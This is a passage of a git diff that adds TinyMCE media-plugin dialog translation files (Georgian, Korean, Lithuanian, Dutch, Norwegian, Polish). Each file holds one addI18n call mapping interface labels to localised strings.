\u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","align_top_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","align_center":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d8","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","qt_stream_warn":"\u10dc\u10d0\u10d9\u10d0\u10d3\u10dd\u10d5\u10d0\u10dc\u10d8 rtsp \u10e0\u10d4\u10e1\u10e3\u10e0\u10e1\u10d4\u10d1\u10d8 \u10e3\u10dc\u10d3\u10d0 \u10e9\u10d0\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 QT Src \u10d5\u10d4\u10da\u10e8\u10d8, \"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\" \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4.\n\u10ee\u10dd\u10da\u10dd \u10d0\u10e0\u10d0 \u10dc\u10d0\u10d9\u10d0\u10d3\u10dd\u10d5\u10d0\u10dc\u10d8 \u10d5\u10d4\u10e0\u10e1\u10d8\u10d0 - Src \u10d5\u10d4\u10da\u10e8\u10d8.",qtsrc:"QT Src",progress:"\u10de\u10e0\u10dd\u10d2\u10e0\u10d4\u10e1\u10d8",sound:"\u10ee\u10db\u10d0",swstretchvalign:"\u10d5\u10d4\u10e0\u10e2. \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10d7",swstretchhalign:"\u10f0\u10dd\u10e0\u10d8\u10d6. \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10d7",swstretchstyle:"\u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10e1 \u10e1\u10e2\u10d8\u10da\u10d8",scriptcallbacks:"\u10e1\u10e5\u10e0\u10d8\u10de\u10e2\u10d8\u10e1 \u10db\u10ee\u10d0\u10e0\u10d3\u10d0\u10ed\u10d4\u10e0\u10d0","align_top_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4",uimode:"\u10d8\u10dc\u10e2\u10d4\u10e0\u10e4\u10d4\u10d8\u10e1\u10d8\u10e1 \u10e0\u10d4\u10df\u10d8\u10db\u10d8",rate:"\u10e0\u10d4\u10d8\u10e2\u10d8\u10dc\u10d2\u10d8",playcount:"\u10dc\u10d0\u10ee\u10d5\u10d4\u10d1\u10d8\u10e1 \u10db\u10d7\u10d5\u10da\u10d4\u10da\u10d8",defaultframe:"\u10db\u10d7\u10d0\u10d5\u10d0\u10e0\u10d8 \u10d9\u10d0\u10d3\u10e0\u10d8",currentposition:"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0",currentmarker:"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10db\u10d0\u10e0\u10d9\u10d4\u10e0\u10d8",captioningid:"\u10e1\u10e3\u10d1\u10e2\u10d8\u10e2\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8",baseurl:"\u10e1\u10d0\u10d1\u10d0\u10d6\u10d8\u10e1\u10dd \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",balance:"\u10d1\u10d0\u10da\u10d0\u10dc\u10e1\u10d8",windowlessvideo:"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10d5\u10d8\u10d3\u10d4\u10dd",stretchtofit:"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0\u10d6\u10d4",mute:"\u10ee\u10db\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",invokeurls:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10eb\u10d0\u10ee\u10d4\u10d1\u10d0",fullscreen:"\u10db\u10d7\u10d4\u10da \u10d4\u10d9\u10e0\u10d0\u10dc\u10d6\u10d4",enabled:"\u10e9\u10d0\u10e0\u10d7\u10e3\u10da\u10d8\u10d0",autostart:"\u10d0\u10d5\u10e2\u10dd\u10d2\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0",volume:"\u10ee\u10db\u10d0",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",qtsrcchokespeed:"\u10e1\u10d8\u10ee\u10e8\u10d8\u10e0\u10d4",href:"\u10d1\u10db\u10e3\u10da\u10d8",endtime:"\u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10e0\u10dd",starttime:"\u10d3\u10d0\u10ec\u10e7\u10d4\u10d1\u10d8\u10e1 \u10d3\u10e0\u10dd",enablejavascript:"JavaScript-\u10d8\u10e1 \u10e9\u10d0\u10e0\u10d7\u10d5\u10d0",correction:"\u10d9\u10dd\u10e0\u10d4\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",targetcache:"\u10e5\u10d4\u10e8\u10d8",playeveryframe:"\u10e7\u10d5\u10d4\u10da\u10d0 \u10d9\u10d0\u10d3\u10e0\u10d8\u10e1 \u10d0\u10e1\u10d0\u10ee\u10d5\u10d0",kioskmode:"\u10d9\u10d8\u10dd\u10e1\u10d9\u10d8\u10e1 \u10e0\u10d4\u10df\u10d8\u10db\u10d8",controller:"\u10db\u10d0\u10e0\u10d7\u10d5\u10d0",menu:"\u10db\u10d4\u10dc\u10d8\u10e3\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0",loop:"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0",play:"\u10d0\u10d5\u10e2\u10dd\u10d2\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0",hspace:"\u10f0\u10dd\u10e0\u10d8\u10d6. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",vspace:"\u10d5\u10d4\u10e0\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","class_name":"\u10d9\u10da\u10d0\u10e1\u10d8",name:"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",id:"\u10d8\u10d3\u10d4\u10dc\u10e2\u10d8\u10e4\u10d8\u10d9\u10d0\u10e2\u10dd\u10e0\u10d8",type:"\u10e2\u10d8\u10de\u10d8",size:"\u10d6\u10dd\u10db\u10d4\u10d1\u10d8",preview:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0\u10d8 \u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0","constrain_proportions":"\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10e0\u10e9\u10e3\u10dc\u10d4\u10d1\u10d0",controls:"\u10db\u10d0\u10e0\u10d7\u10d5\u10d0",numloop:"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0\u10d7\u10d0 \u10e0\u10d8\u10ea\u10ee\u10d5\u10d8",console:"\u10d9\u10dd\u10dc\u10e1\u10dd\u10da\u10d8",cache:"\u10e5\u10d4\u10e8\u10d8",autohref:"\u10d0\u10d5\u10e2\u10dd \u10d1\u10db\u10e3\u10da\u10d8",liveconnect:"SWLiveConnect",flashvars:"Flas \u10d1\u10e0\u10eb\u10d0\u10dc\u10d4\u10d1\u10d4\u10d1\u10d8",base:"Base",bgcolor:"\u10e4\u10dd\u10dc\u10d8",wmode:"\u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0",salign:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",align:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",scale:"\u10db\u10d8\u10d3\u10d0\u10db\u10dd",quality:"\u10ee\u10d0\u10e0\u10d8\u10e1\u10ee\u10d8",shuffle:"\u0412 \u0440\u0430\u0437\u0431\u0440\u043e\u0441",prefetch:"\u10d0\u10db\u10dd\u10d9\u10e0\u10d4\u10e4\u10d0",nojava:"Java-\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",maintainaspect:"\u10d6\u10dd\u10db\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10ee\u10e1\u10dd\u10d5\u10e0\u10d4\u10d1\u10d0",imagestatus:"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10e2\u10d0\u10e2\u10e3\u10e1\u10d8",center:"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d8",autogotourl:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d6\u10d4 \u10d0\u10d5\u10e2\u10dd \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0","shockwave_options":"Shockwave \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","rmp_options":"Real Media \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","wmp_options":"Windows Media \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","qt_options":"Quicktime \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","flash_options":"Flash \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",hidden:"\u10d3\u10d0\u10e4\u10d0\u10e0\u10e3\u10da\u10d8","align_bottom_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","align_bottom_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","html5_video_options":"HTML5-\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",altsource1:"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10ec\u10e7\u10d0\u10e0\u10dd 1",altsource2:"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10ec\u10e7\u10d0\u10e0\u10dd 2",preload:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0\u10d8 \u10e9\u10d0\u10db\u10dd\u10e2\u10d5\u10d8\u10e0\u10d7\u10d5\u10d0",poster:"\u10de\u10dd\u10e1\u10e2\u10d4\u10e0\u10d8",source:"\u10ec\u10e7\u10d0\u10e0\u10dd","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ko_dlg.js b/js/tiny_mce2/plugins/media/langs/ko_dlg.js new file mode 100755 index 0000000..33ac614 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.media_dlg',{list:"\ubaa9\ub85d",file:"\ud30c\uc77c/URL",advanced:"\uace0\uae09",general:"\uc77c\ubc18",title:"\ubbf8\ub514\uc5b4\uc758 \uc0bd\uc785/\ud3b8\uc9d1","align_top_left":"Top left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Top right",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"Auto start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"JavaScript\ub97c \ud5c8\uac00",correction:"No correction",targetcache:"Target cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"Controller",menu:"\uba54\ub274 \ud45c\uc2dc",loop:"\uc5f0\uc18d \uc7ac\uc0dd",play:"\uc790\ub3d9 \uc7ac\uc0dd",hspace:"\uc88c\uc6b0 \uc5ec\ubc31",vspace:"\uc0c1\ud558 \uc5ec\ubc31","class_name":"Class",name:"Name",id:"Id",type:"\ud0c0\uc785",size:"\ud06c\uae30",preview:"\ubbf8\ub9ac\ubcf4\uae30","constrain_proportions":"\uc885\ud6a1\ube44 \uc720\uc9c0",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"\uc2a4\ucf00\uc77c",quality:"\ud488\uc9c8",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bottom left","align_bottom_right":"Bottom right","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/lt_dlg.js b/js/tiny_mce2/plugins/media/langs/lt_dlg.js new file mode 100755 index 0000000..14efd23 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.media_dlg',{list:"S\u0105ra\u0161as",file:"Failas/URL",advanced:"I\u0161pl\u0117sta",general:"Bendra",title:"\u012eterpti/redaguoti integruot\u0105 daugialyp\u0119 terp\u0119","align_top_left":"Vir\u0161uje, kair\u0117je","align_center":"Centre","align_left":"Kair\u0117je","align_bottom":"Apa\u010dioje","align_right":"De\u0161in\u0117je","align_top":"Vir\u0161uje","qt_stream_warn":"Transliuojami rtsp i\u0161tekliai tur\u0117t\u0173 b\u016bti prid\u0117ti prie QT Src lauko \u201ePapildom\u0173 nustatym\u0173\u201c kortel\u0117je.\nTaip pat reikt\u0173 prid\u0117ti ir netransliuojam\u0105j\u0105 Src lauko versij\u0105.",qtsrc:"QT Src",progress:"Progresas",sound:"Garsas",swstretchvalign:"I\u0161tempti V-lygiavim\u0105",swstretchhalign:"I\u0161tempti H-lygiavim\u0105",swstretchstyle:"I\u0161tempti stili\u0173",scriptcallbacks:"Scenarijaus atgalinis atsakas","align_top_right":"Vir\u0161uje, de\u0161in\u0117je",uimode:"UI re\u017eimas",rate:"Da\u017enis",playcount:"Grojimo kartai",defaultframe:"Numatytas kadras",currentposition:"Dabartin\u0117 pozicija",currentmarker:"Dabartinis \u017eymeklis",captioningid:"Antra\u0161t\u0117s id",baseurl:"Prad\u017eios URL adresas",balance:"Balansas",windowlessvideo:"Vaizdas be lango",stretchtofit:"I\u0161tempti iki atitikimo",mute:"Nutildyti",invokeurls:"I\u0161kviesti URL adresus",fullscreen:"Viso ekrano re\u017eimas",enabled:"\u012ejungta",autostart:"Automatinis paleidimas",volume:"Garsis",target:"Paskirtis",qtsrcchokespeed:"Dusinimo greitis",href:"Adresas",endtime:"Pabaigos laikas",starttime:"Prad\u017eios laikas",enablejavascript:"\u012egalinti JavaScript",correction:"Joki\u0173 korekcij\u0173",targetcache:"Paskirties laikinoji talpykla",playeveryframe:"Paleisti kiekvien\u0105 kadr\u0105",kioskmode:"Kiosko re\u017eimas",controller:"Valdiklis",menu:"Rodyti meniu",loop:"Kartoti",play:"Automatinis paleidimas",hspace:"Horizontalus tarpas",vspace:"Vertikalus tarpas","class_name":"Klas\u0117",name:"Vardas",id:"Id",type:"Tipas",size:"I\u0161matavimai",preview:"Per\u017ei\u016bra","constrain_proportions":"Priverstin\u0117s proporcijos",controls:"Valdikliai",numloop:"Cikl\u0173 kiekis",console:"Konsol\u0117",cache:"Laikinoji talpykla",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash kintamieji",base:"Baz\u0117",bgcolor:"Fono spalva",wmode:"W-re\u017eimas",salign:"S-lygiavimas",align:"Lygiavimas",scale:"Mastelis",quality:"Kokyb\u0117",shuffle:"Atsitiktinis mai\u0161ymasis",prefetch:"I\u0161ankstinis duom. i\u0161rinkimas",nojava:"Be Java",maintainaspect:"I\u0161laikyti aspekt\u0105",imagestatus:"Paveiksl\u0117lio b\u016bsena",center:"Centre",autogotourl:"Automatinis \u0117jimas URL adresu","shockwave_options":"Shockwave nustatymai","rmp_options":"Real media player nustatymai","wmp_options":"Windows media player nustatymai","qt_options":"Quicktime nustatymai","flash_options":"Flash nustatymai",hidden:"Pasl\u0117pta","align_bottom_left":"Apa\u010dioje, kair\u0117je","align_bottom_right":"Apa\u010dioje, de\u0161in\u0117je",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Embedded Audio Options",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 video nustatymai",altsource1:"Kitas video formatas 1",altsource2:"Kitas video formatas 2",preload:"Automati\u0161kai prad\u0117ti parsiuntim\u0105",poster:"Video paveiksl\u0117lis",source:"Kodo per\u017ei\u016bra","html5_audio_options":"Garso nustatymai","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Listi nuspresti vartotojo nar\u0161yklei",iframe:"iframe",embeddedaudio:"embeddedaydio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/nl_dlg.js b/js/tiny_mce2/plugins/media/langs/nl_dlg.js new file mode 100755 index 0000000..68ae6b0 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.media_dlg',{list:"Lijst",file:"Bestand/URL",advanced:"Geavanceerd",general:"Algemeen",title:"Media invoegen/bewerken","align_top_left":"Linksboven","align_center":"Centreren","align_left":"Links","align_bottom":"Onder","align_right":"Rechts","align_top":"Boven","qt_stream_warn":"Gestreamde RTSP bronnen dienen op het tabblad geavanceerd bij Quicktime bron te worden opgegeven.\nDe niet-gestreamde versie kan dan bij het tabblad algemeen worden opgegeven.",qtsrc:"Quicktime bron",progress:"Voortgang",sound:"Geluid",swstretchvalign:"V-Schaal",swstretchhalign:"H-Schaal",swstretchstyle:"Schaal",scriptcallbacks:"Script callbacks","align_top_right":"Rechtsboven",uimode:"UI Modus",rate:"Snelheid",playcount:"Afspeelteller",defaultframe:"Standaard frame",currentposition:"Huidige positie",currentmarker:"Huidige markering",captioningid:"Ondertiteling id",baseurl:"Basis URL",balance:"Balans",windowlessvideo:"Video zonder venster",stretchtofit:"Passend maken",mute:"Dempen",invokeurls:"URLs laden",fullscreen:"Volledig scherm",enabled:"Ingeschakeld",autostart:"Automatisch afspelen",volume:"Volume",target:"Doel",qtsrcchokespeed:"Chokesnelheid",href:"Href",endtime:"Eindtijd",starttime:"Starttijd",enablejavascript:"JavaScript Inschakelen",correction:"Geen correctie",targetcache:"Doelcache",playeveryframe:"Elk frame afspelen",kioskmode:"Kioskmodus",controller:"Controller",menu:"Menu weergeven",loop:"Herhalen",play:"Automatisch afspelen",hspace:"H-Ruimte",vspace:"V-Ruimte","class_name":"Klasse",name:"Naam",id:"Id",type:"Type",size:"Afmetingen",preview:"Voorbeeld","constrain_proportions":"Verhouding bewaren",controls:"Bediening",numloop:"Aantal herhalingen",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variabelen",base:"Basis",bgcolor:"Achtergrond",wmode:"WMode",salign:"Schaaluitlijning",align:"Uitlijning",scale:"Schaal",quality:"Kwaliteit",shuffle:"Willekeurige volgorde",prefetch:"Voorladen",nojava:"Geen Java",maintainaspect:"Verhouding bewaren",imagestatus:"Afbeeldingstatus",center:"Centreren",autogotourl:"Automatisch naar URL","shockwave_options":"Shockwave opties","rmp_options":"Real Media Player Opties","wmp_options":"Windows Media Player Opties","qt_options":"Quicktime opties","flash_options":"Flash opties",hidden:"Verborgen","align_bottom_left":"Linksonder","align_bottom_right":"Rechtsonder",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Ge\u00efntegreerd Geluid Opties",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"geluid",video:"video","html5_video_options":"HTML5 Video Opties",altsource1:"Alternatieve bron 1",altsource2:"Alternatieve bron 2",preload:"Voorladen",poster:"Poster",source:"Bron","html5_audio_options":"Audio Opties","preload_none":"Niet voorladen","preload_metadata":"Video metadata voorladen","preload_auto":"Laat browser beslissen",iframe:"iframe",embeddedaudio:"ge\u00efntegreerd geluid"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/no_dlg.js b/js/tiny_mce2/plugins/media/langs/no_dlg.js new file mode 100755 index 0000000..5eb98fc --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.media_dlg',{list:"Liste",file:"Fil/URL",advanced:"Avansert",general:"Generelt",title:"Sett inn/rediger inkludert objekt","align_top_left":"Topp venstre","align_center":"Midten","align_left":"Venstre","align_bottom":"Bunn","align_right":"H\u00f8yre","align_top":"Topp","qt_stream_warn":"Streamede rtsp ressurser b\u00f8r legges til QT Src-feltet under fanen avansert.\nDu b\u00f8r ogs\u00e5 legge til en ikke-streamet versjon i src-feltet.",qtsrc:"QT Src",progress:"Fremdrift",sound:"Lyd",swstretchvalign:"Strekk V-justering",swstretchhalign:"Strekk H-justering",swstretchstyle:"Strekk stil",scriptcallbacks:"Skript referanser","align_top_right":"Topp h\u00f8yre",uimode:"UI-modus",rate:"Rate",playcount:"Teller",defaultframe:"Standard ramme",currentposition:"Aktiv posisjon",currentmarker:"Aktiv mark\u00f8r",captioningid:"Fange opp id",baseurl:"Utgangsadresse (URL)",balance:"Balanse",windowlessvideo:"Video uten vindu",stretchtofit:"Strekk for \u00e5 passe",mute:"Dempe",invokeurls:"Aktiver URLer",fullscreen:"Fullskjerm",enabled:"Aktivert",autostart:"Autostart",volume:"Volum",target:"M\u00e5l",qtsrcchokespeed:"Choke-hastighet",href:"Href",endtime:"Stopp tid",starttime:"Start tid",enablejavascript:"Tillat Javaskript",correction:"Ingen korreksjon",targetcache:"M\u00e5l-mellomlagring",playeveryframe:"Spill hver ramme",kioskmode:"Kiosk-modus",controller:"Kontroller",menu:"Vis meny",loop:"L\u00f8kke",play:"Autostart",hspace:"H-avstand",vspace:"V-avstand","class_name":"Klasse",name:"Navn",id:"Id",type:"Type",size:"Dimmensjoner",preview:"Forh\u00e5ndsvis","constrain_proportions":"Behold proporsjoner",controls:"Kontroller",numloop:"Antall gjennomganger",console:"Konsoll",cache:"Mellomlager",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash variabler",base:"Base",bgcolor:"Bakgrunn",wmode:"W-modus",salign:"S-justering",align:"Justering",scale:"Skala",quality:"Kvalitet",shuffle:"Mikse",prefetch:"Hente p\u00e5 forh\u00e5nd",nojava:"Ingen Java",maintainaspect:"Behold st\u00f8rrelsesforhold",imagestatus:"Bildestatus",center:"Midtstill",autogotourl:"Auto g\u00e5-til URL","shockwave_options":"Shockwave egenskaper","rmp_options":"Real Media Player egenskaper","wmp_options":"Windows Media Player egenskaper","qt_options":"Quicktime egenskaper","flash_options":"Flash egenskaper",hidden:"Skjult","align_bottom_left":"Bunn venste","align_bottom_right":"Bunn h\u00f8gre",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Embedded lyd egenskaper",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"lyd",video:"video","html5_video_options":"HTML5-videovalg",altsource1:"Alternativ kilde 1",altsource2:"Alternativ kilde 2",preload:"Forh\u00e5ndsvis",poster:"Poster",source:"Kilde","html5_audio_options":"Lyd egenskaper","preload_none":"Ikke hent p\u00e5 forh\u00e5nd","preload_metadata":"Hent video metadata p\u00e5 forh\u00e5nd","preload_auto":"La brukerens nettleser avgj\u00f8re",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/pl_dlg.js b/js/tiny_mce2/plugins/media/langs/pl_dlg.js new file mode 100755 index 0000000..9e054b2 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.media_dlg',{list:"Lista",file:"Plik/URL",advanced:"Zaawansowane",general:"G\u0142\u00f3wne",title:"Wstaw/Edytuj wbudowane media","align_top_left":"G\u00f3rny lewy","align_center":"\u015arodek","align_left":"Lewo","align_bottom":"D\u00f3\u0142","align_right":"Prawo","align_top":"G\u00f3ra","qt_stream_warn":"Emitowane \u017ar\u00f3d\u0142a rtsp powinny by\u0107 dodane do pola QT Src w zak\u0142adce zaawansowane.nPowiniene\u015b r\u00f3wnie\u017c doda\u0107 niestrumieniow\u0105 wersj\u0119 do pola Src.",qtsrc:"QT Src",progress:"Post\u0119p",sound:"D\u017awi\u0119k",swstretchvalign:"Wyr\u00f3wnaj w pionie",swstretchhalign:"Wyr\u00f3wnaj w poziomie",swstretchstyle:"Styl rozci\u0105gania",scriptcallbacks:"Funkcje zwrotne skryptu","align_top_right":"G\u00f3rny prawy",uimode:"Tryb UI",rate:"Tempo",playcount:"Ilo\u015b\u0107 odtworze\u0144",defaultframe:"Domy\u015blna ramka",currentposition:"Aktualna pozycja",currentmarker:"Aktualny znacznik",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balans",windowlessvideo:"Wideo bez okienka",stretchtofit:"Rozci\u0105gnij aby dopasowa\u0107",mute:"Wycisz",invokeurls:"Odwo\u0142aj si\u0119 do URLi",fullscreen:"Pe\u0142ny ekran",enabled:"Aktywny",autostart:"Auto start",volume:"G\u0142o\u015bno\u015b\u0107",target:"Cel",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"Ko\u0144cowy czas",starttime:"Pocz\u0105tkowy czas",enablejavascript:"W\u0142\u0105cz JavaScript",correction:"Bez korekcji",targetcache:"Target cache",playeveryframe:"Odtwarzaj ka\u017cd\u0105 ramk\u0119",kioskmode:"Tryb kiosku",controller:"Kontroler",menu:"Poka\u017c menu",loop:"Zap\u0119tlenie",play:"Autoodtwarzanie",hspace:"H-Space",vspace:"V-Space","class_name":"Klasa",name:"Nazwa",id:"Id",type:"Typ",size:"Wymiary",preview:"Podgl\u0105d","constrain_proportions":"Zachowaj proporcje",controls:"Controls",numloop:"Liczba powt\u00f3rze\u0144",console:"Konsola",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Baza",bgcolor:"T\u0142o",wmode:"WMode",salign:"SAlign",align:"Wyr\u00f3wnaj",scale:"Skala",quality:"Jako\u015b\u0107",shuffle:"Losuj",prefetch:"Prze\u0142aduj",nojava:"Bez javy",maintainaspect:"Utrzymaj aspekt",imagestatus:"Obraz statusu",center:"Wy\u015brodkuj",autogotourl:"Automatycznie przejd\u017a pod adres","shockwave_options":"Opcje Shockwave","rmp_options":"Opcje Real media player","wmp_options":"Opcje Windows media player","qt_options":"Opcje Quicktime","flash_options":"Opcje flasha",hidden:"Ukryty","align_bottom_left":"Dolny lewy","align_bottom_right":"Dolny prawy",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opcje Embedded Audio",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opcje HTML5 Video",altsource1:"Alternatywne \u017ar\u00f3d\u0142o 1",altsource2:"Alternatywne \u017ar\u00f3d\u0142o 